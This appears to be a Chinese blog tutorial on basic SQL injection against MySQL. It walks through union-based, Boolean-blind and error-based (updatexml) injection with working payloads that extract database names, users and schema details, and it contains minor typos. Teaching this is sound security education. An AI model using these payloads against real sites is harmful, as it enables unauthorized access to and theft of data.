安全技能-SQL注入基础

产生原因

Web应用程序没有对用户数据的合法性进行判断,前端传入后端的参数是攻击者可控的,并且参数代入数据库查询,攻击者可以通过构造不同SQL语句来实现对数据库任意操作

SQL注入原理

SQL注入产生,需要满足一下两个条件

  1. 参数用户可控:前端传给后端的参数内容是用户可控制的

  2. 参数代入数据库查询:传入的参数拼接到SQL语句,且代入数据库查询

相关知识点

  1. 在MySQL
    5.0版本之后,默认数据库中存放一个”information_schema”的数据库,在该数据库中:

    1. SCHEMATA表:存储该用户创建的所有数据库名

    2. TABLES表:存储该用户所创建的库名和表名

    3. COLUMNS表:存储该用户创建的所有库名,表名和字段名

  2. SQL语句

不知道任何条件时

Select <要查询的字段名> from <库名.表名>

知道一条已知条件

Select <要查询的字段名> from <库名.表名> where
<已知条件字段名=已知条件值>

知道两条已知条件

Select <要查询的字段名> from <库名.表名> where <已知条件1> and
<已知条件2>

  1. limit用法

格式 limit m,n (m指记录开始的位置,n指读取n条记录)

注:从0开始

  1. 注释符

常见注释符 “ # ”,“ – ”,” /**/ ”

  1. 常用函数
database()当前网站使用的数据库
version()当前MySQL数据库版本
user()当前MySQL用户
  1. 内联注释

内联注释形势: index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3

union注入

  1. 在URL后添加单引号,再次访问,返回结果与之前不同

  2. 在URL后添加and 1=1,再次访问,返回结果与之前相同

  3. 在URL后添加and 1=2,再次访问,返回结果与之前不同

  4. 可以得出结论—该网站存在SQL注入漏洞,接着,使用 order by
    1-99语句查询该数据表的字段数(如 order by 3页面返回结果与之前相同,order by 4
    页面返回结果与之前不同,则字段数为3)

  5. 然后将URL中ID值设置为数据库中没有的数据(如-1)使用union select
    查询,返回可以输入MySQL语句的位置

  6. 访问 id=-1 union select 1,database(),3 查询2位置的数据库名

  7. 在2位置粘贴语句(select table_name from information_sacema.tables where
    table_schema=‘sql’ limit 0,1)返回数据库第一个表名

  8. 继续在2位置查询字段名

Boolean注入

  1. 输入正常网址,页面返回yes,URL后添加 ’ ,页面返回no

  2. URL后加 and 1=1%23,返回yes,加and1=2%23,返回no

  3. 修改ID值,仍返回yes或no没有数据库返回数据则可以尝试Boolean注入

  4. URL后加入 ’ and length(database())>=1- - +

  5. 1的位置可以是任意数字观察页面返回结果判断库名长度

    1. ’ and substr(database(),1,1)=’?’- - +
  6. substr() 截取database()的值(从1开始,截取一个)

  7. 可以使用burpsuite进行爆破(使用a-z,0-9,特殊符号或ASCII码)

  8. 将查询字段名,表名的语句替换到database()位置,查询字段名和表明

报错注入

  1. 在URL后加 ’ 页面报错

  2. 因为程序直接将错误信息输出到页面,所以可以利用报错信息获取数据

  3. 获取当前用户:

    1. ’ and updatexml(1,concat(0x7e,(select user()),0x7e),1)- - +
  4. 获取当前库名

    1. ’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)- - +
  5. 获取库名表名字段名

    1. ’ and updatexml(1,concat(0x7e,(select schema_name from
  6. information_schema.schemata limit 0,1),0x7e),1)- - +

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

USG_f4d

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值